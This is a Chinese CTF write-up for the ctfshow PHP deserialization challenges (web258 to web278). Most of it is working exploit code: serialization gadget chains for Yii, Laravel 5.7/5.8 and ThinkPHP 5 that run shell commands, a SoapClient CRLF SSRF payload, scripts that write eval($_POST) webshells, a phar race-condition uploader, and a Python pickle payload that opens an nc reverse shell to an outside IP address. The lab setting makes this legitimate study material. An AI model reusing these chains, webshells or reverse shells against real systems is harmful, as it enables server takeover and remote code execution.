2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
}

class backDoor{
public $code = "system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}

$a = new ctfShowUser;
$b = serialize(array($a));
echo urlencode($b);
?>

web259

直接给出了flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

进入后源码

1
2
3
4
5
6
7
8
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

由于使用了Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP。

由于服务器带有cloudfare代理,我们无法通过本地构造XFF头实现绕过,我们需要使用SoapClient与CRLF实现SSRF访问127.0.0.1/flag.php,即可绕过cloudfare代理

因为Content-length的缘故,post只取到token=ctfshow,成功把下面的那些东西给吃掉了,实现了自己构造POST的请求包。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Keyond^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>

然后直接访问flag.txt就欧克了

web260

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

这道题傻了。。。。。就是说你传进来的值反序列后有ctfshow_i_love_36D,那直接传进去不就行了

1
ctfshow=ctfshow_i_love_36D

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

打下来和redis好像没什么关系.

1
2
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
1
2
3
有__unserialize(),在7.4以上版本反序列化会绕过__wakeup()函数。
在destruct()函数中,有file_put_contents可以写入文件,一句话木马儿
$this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字,且数字是877,那么877a,877.php等可以通过比较;所以设置username='877.php'来通过比较

当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中。所以直接就朝着写文件搞就可以了。

只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfshowvip{
public $username;
public $password;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877a.php','<?php eval($_POST[1]);?>');
echo serialize($a);
?>

web262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;echo "<br>";
var_dump(unserialize($umsg));#如果反序列化成功,就会输出结果,没结果就是bool(false)

反序列化逃逸少变多

1
O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:4:"user";}

先看一眼正常的反序列化,有个提示,去message.php

1
if(isset($_COOKIE['msg'])){      $msg = unserialize(base64_decode($_COOKIE['msg']));  if($msg->token=='admin'){        echo $flag;      }}

";s:5:"token";s:5:"admin";}长度27,前面给27个fuck

1
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263

一个登陆框,发现有www.zip

在inc.php那里发现这个:

1
ini_set('session.serialize_handler', 'php');

第一反应肯定就是session反序列化了,这里把session的session.serialize_handler设置为php,暗示了默认的php.ini里面的肯定不是php,大概率是php_serialize。既然session序列化存储的引擎存在差异,自然可以进行攻击了:

先判断一下session是否可控。如果不可控的话可能就要利用文件上传了。
全局搜索一下session,发现首先是这里:

1
2
3
4
5
6
7
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

第一次访问index.php就会产生session,之后如果limit没超过5的话,$_SESSION['limit']=base64_decode($_COOKIE['limit']);
Cookie可控,因此session就可控了。

check.php
调用cookie

image-20211124214248601

再去找一下利用点,直接找session_start,发现inc.php里面有session-start(),而且存在User类,有一个文件写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

文件名和写入的内容都可控,因此可以写马,自此反序列化链也就理顺了。

构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username ='K.php';
$this->password ='<?php eval($_POST[1]);?>';
}
}

$a = new User();
echo base64_encode('|'.serialize($a));
?>

首先修改cookie后访问index.php,接着访问check.php即可生成木马文件。比如我这个会生成log-K.php

这个也可以

1
2
3
4
5
6
7
8
9
10
11
<?php
class User{
public $username="admin/../../../../../../../../../../var/www/html/1.php";
public $password="<?php system('cat flag.php');?>";
public $status;

}
$a = new User();
$c = "|".serialize($a);
echo urlencode(base64_encode($c));
?>

之后大致说下解题步骤:
1.首先访问首页,获得 cookie,同时建立 session
2.抓包修改 cookie 为序列化字符串
3.访问 check.php,反序列化实现 shell 写入
4.访问你传入的php审查元素查看flag

web264

1
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}

session的反序列化字符串逃逸,其实和262没有区别,把262payload拿过来用就行;只是需要再设置一个msg的cookie,即可

image-20210827113527451

这个题没有设置session反序列化的处理器,那就是磨人的,也就和平时反序列化代码的模式一样。所以这里可以按照262的方式去理解。

所以还得随便传个cookie msg=1 ,访问message.php就行了

web265 引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}
1
//看个例子先$a='123';$b=&$a;$b=1;echo $a;//a的值会跟着b一起改变//PHP 的引用允许你用两个变量来指向同一个内容 //把变量$a的内存地址指向给$b

由于mt_rand()预测不了,我预测不了,万一有大佬能预测呢,,,且md5(mt_rand())确实预测不了。

大家可以试下上面这段代码,会发现a的值会跟着b一起改变。所以我们只需要让token按地址传给passowrd就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class ctfshowAdmin{
public $token;
public $password;

public function __construct(){
$this->password=&$this->token;
}
}

$c=new ctfshowAdmin();
echo serialize($c);

//或者
<?php
class ctfshowAdmin{
public $token;
public $password;

public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin;
$a -> password = &$a -> token;
echo serialize($a);
?>

web266 大小写敏感

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
?>

其实看一下发现只要能进去 就可以拿到flag,但是这里对ctfshow过滤了

这个不能用+绕过,但是PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分。
所以直接构造即可:

1
2
3
4
5
<?php
class ctfshow{
}
echo serialize(new ctfshow);
?>

然后变一下大写就行

1
O:7:"ctfshow":0:{}==>>O:7:"CtFshoW":0:{}

注意这俩个地方

image-20211125011649081

image-20211125011655988

所以需要用bp发一下包,要用post

image-20211125011717818

web267

1
exec()、passthru()、system()、shell_exec()

进去后,发现登录,试了下弱口令admin\admin进去了,然后没找点利用点,在about项里,看源代码发现提示

image-20211125192903517

在后面跟上一个&view-source

image-20211125192933654

这不就找到了

正在我好奇用什么的时候发现

image-20211125193128416

懂了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /f*';
}
}
}
namespace Faker {

use yii\rest\IndexAction;

class Generator
{
protected $formatters;

public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{

use Faker\Generator;

class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));
}
?>

system不能用。。。

1
http://bcaf331a-a130-4710-9b2e-e78200cde5ea.challenge.ctf.show/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo3OiJjYXQgL2YqIjt9aToxO3M6MzoicnVuIjt9fX19

web268

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /f*';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}

// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

web269

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /f*';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270

laravel5.7的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令
echo(base64_encode(serialize($exp)));
}
///index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cp /f* 2.txt';
}
}
}
namespace yii\db{

use yii\web\DbSession;

class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{

use yii\rest\IndexAction;

class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));
}

web271

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation {
class Application
{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

echo urlencode(serialize($pendingcommand));
}
?>

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace Illuminate\Foundation\Testing{

use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;

class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="cat /fl*";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{

use Illuminate\Foundation\Testing\PendingCommand;

echo urlencode(serialize(new PendingCommand()));
}
?>

web272、273

laravel5.8反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
namespace Illuminate\Broadcasting{

use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;

class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";

}
}
namespace{

use Illuminate\Broadcasting\PendingBroadcast;

echo urlencode(serialize(new PendingBroadcast()));
}?>

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>

web274

Tp5的框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system"; //PHP函数
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin']; //PHP函数的参数
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

传入?lin=cat \f*&data=poc

web275

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

审了一下发现。。。就离谱

1
2
3
4
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}

这个__destruct()这里直接可以命令执行。就是说我们传入的值赋值给filename然后只要evilfiletrue就可以命令执行。

然后我们看一下这里有两个if

第一个

1
if(preg_match('/php|\.\./i', $this->filename)){            $this->evilfile=true;        }

就是说filename里面要包含php或者..才可以让evilfiletrue

payload:

1
?fn=..;tac f*?fn=;tac flag.php?fn=php;tac f*

第二个

1
2
3
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}

这个没啥好说的就是filecontent要包含有flag,但是它对应的值是$contentphp://input,那我们只需要在bp里post传入一个flag即可。

image-20211126190135182

web276

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

filter类里面多了个$admin,想要通过析构方法进行命令执行,则一定要使得$admin=true。而代码中并没有反序列化函数,所以可利用点在于unlink()函数(file_get_contents()函数也可以)。

首先上传一个p.phar文件,然后在该文件没有被删除之前再发一个包,传入的参数是fn=phar://p.phar/test,当对其调用unlink()时,会对之前传入的并写进p.phar中的内容进行反序列化,从而进行析构函数的调用,类似于:

img

注意:前面一定要有phar://以及后面跟上/加一串随机字符串。

这样我们只要保证生成的phar文件在析构的时候可以进行命令拼接即可。生成phar文件的POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class filter
{
public $filename = ';cat fl*';
public $evilfile = true;
public $admin = true;
}

// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb, 增加 gif 文件头
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/**
* 将自定义的 meta-data 存入 manifest
* 这个函数需要在php.ini中修改 phar.readonly 为 Off
* 否则的话会抛出
* creating archive "***.phar" disabled by the php.ini setting phar.readonly
* 异常.
*/
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>
//或者
<?php

class filter{
public $filename = "1|cat f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

竞争脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import threading
url="http://66155619-f7c6-4fb4-acf1-d196be37cdb8.chall.ctf.show:8080/"
f=open("./yn.phar","rb")
content=f.read()
def upload(): #上传1.phar,内容是本地文件:phar.phar
requests.post(url=url+"?fn=1.phar",data=content)
def read(): #利用条件竞争,尝试phar://反序列化1.phar,1.phar没被删除就能被反序列化,因而就能执行system()函数从而执行我们的命令
r = requests.post(url=url+"?fn=phar://1.phar/",data="1")
if "ctfshow{"in r.text or "flag{" in r.text:
print(r.text)
exit()
while 1:
t1=threading.Thread(target=upload)
t2=threading.Thread(target=read)
t1.start()
t2.start()

web277、278

打开之后是这样的

image-20211127171526697

ctrl+u看一下发现是python反序列化

1
where is flag?<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

可以看到我们传入的数据要先进行一个base64解码,然后再反序列化

捏一下poc:

1
2
3
4
5
6
7
8
import pickle
import base64
class A(object):
def __reduce__(object):
return(__import__("os").popen,("nc 47.98.163.158 8080 -e /bin/sh",))

a=A()
print(base64.b64encode(pickle.dumps(a)))

然后传入

1
/backdoor?data=gASVNwAAAAAAAACMAm9zlIwFcG9wZW6Uk5SMIG5jIDQ3Ljk4LjE2My4xNTggODA4MCAtZSAvYmluL3NolIWUUpQu&m=base64.b64decode(data)&m=pickle.loads(m)

image-20211127172030184